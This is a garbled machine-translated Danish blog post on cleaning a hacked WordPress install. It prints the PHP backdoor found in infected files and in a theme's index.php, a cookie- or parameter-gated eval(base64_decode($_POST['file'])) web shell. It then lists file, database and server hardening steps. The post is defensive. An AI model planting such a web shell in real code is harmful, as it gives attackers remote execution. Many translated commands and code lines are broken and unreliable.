WordPress Exploit - rengøring inficerede filer og SQL Server-sikkerhed.

Før du læser dette indlæg, bør du se , For at forstå noget. :)

Vi fandt mange af de blogs på stealthsettings.com filer, kode ligner nedenstående, som skyldes den virusarii med WordPress udnytte.:

<? Php if ($ _ GET [ '573abcb060974771'] == "8e96d1b4b674e1d2") {eval (base64_decode ($ _ POST [ 'file'])); exit; }?>

si

<?php if($_COOKIE[XCHARX44e827f9fbeca184XCHARX]==XCHARX5cd3c94b4b1c57eaXCHARX){ eval(base64_decode($_POST[XCHARXfileXCHARX])); exit; } ?>

xmlrpcHvis ovenstående er om filen xmlrpc.php fra Sleepy, Ved en grep server, ligner en hel del af denne art i kildekoder.

pppffiuuu

Rensning af inficerede filer:

Ooookkkk ...
1. Den bedste løsning, da det er gjort backupOg rengøres databasen er at Fjern filer WordPress (Du kan beholde filen wp-config.php og ikke strengt knyttet til WP platformen efter nøje kontrolleret) på serveren og gøre den oprindelige upload versionen 2.5.1 (Ved denne lejlighed og lave en version opgradering wp :)) http://wordpress.org/download/ . Tør herunder tema-filer, hvis du ikke har tillid til, at deres omhyggelig kontrol.

Det synes at have været påvirket, og filer af de temaer, der ikke har været brugt før på bloggen og blot at ændre det tema, løser ikke problemet.

./andreea/wp-content/themes/default/index.php:<?php hvis ($ _ COOKIE ['44e827f9fbeca184'] == '5cd3c94b4b1c57ea ") {eval (base64_decode ($ _ POST [' file '])); exit; ??}> <Php get_header (); ?>

2. Søg og slette alle filer, der indeholder:... * _new.php, * _old.php, * Jpgg, * Giff, * Pngg og wp-info.txt fil, hvis nogen.

Find. -Name "* _new.php"
Find. -Name "* _old.php"
Find. -Name "*. Jpgg"
Find. -Name "* _giff"
Find. -Name "* _pngg"
Find. -Name "wp-info.txt"

3. i / Tmp , Søg og slette mapper som tmpYwbzT2

SQL Rengøring :

1. i Table Table wp_options Kontroller for og slette linjerne: internal_links_cache, rss_f541b3abd05e7962fcab37737f40fad8 si wordpress_options.

2. Alt i wp_options, gå til active_plugins og slette, hvis der er et plugin, der ender i en af ​​de udvidelser * _new.php, * _old.php *. jpgg *. giff *. pngg eller hvis et andet lokalnummer er mistanke kontrollere omhyggeligt.

3. I tabel wp_users, Se om der er en bruger, der ikke har skrevet noget i hans højre, kolonnen user_nicename. Slet brugeren, men bemærk nummeret på ID-kolonne. Denne bruger kan anvende "WordPress" som user_login er oprettet og vises på 00: 00: 00 0000-00-00.

4. Gå til tabellen wp_usermeta og slette alle linjer tilhørende ID ovenfor.

Når du har gjort dette sql rengøring, deaktivere og derefter aktivere en bestemt plugin. (In blog -> Dashboard -> Plugins)

Secure Server:

1. Se, hvad mapper og filer "skrivbar"(Chmod 777), og prøv at sætte på dem chmod , der ikke ville lade deres skriftligt på ethvert niveau. (Chmod 644, for eksempel)

Find. -Perm-2-ls

2. Se, hvad filer har bit sæt SUID eller sgid . Hvis du ikke bruger disse filer lægge på dem chmod 0 eller afinstallere den pakke, som den indeholder. De er meget farlige, da de kørerettigheder "gruppe"Eller"rod"Ikke med normale brugerrettigheder til at udføre den pågældende fil.

find /-type F-perm-04000-ls
find /-type F-perm-02000-ls

3. Check hvilke porte er åbne og forsøger at lukke eller sikre dem, der ikke bruges.

netstat-an | grep-i lytter

Så meget. Jeg ser Google Search og andre siger, "Jamen de gjorde!". Nå godt du har gjort det ... men du ved, hvis Google begynder at forbyde alle websteder danner IS SPAM og sætte Trojans (Trojan.Clicker.HTML) På cookies?

WordPress Exploit - rengøring inficerede filer og SQL Server-sikkerhed.

Om forfatteren

Stealth

Passionær over alt hvad der betyder gadgets og IT, skriver jeg med glæde stealthsettings.com fra 2006, og jeg kan godt lide at opdage nye ting om computere og operativsystemer macOS, Linux, Windows, iOS og Android.

1 Kommentar

Efterlad en kommentar

Dette websted bruger Akismet til at reducere spam. Lær, hvordan dine kommentardata behandles.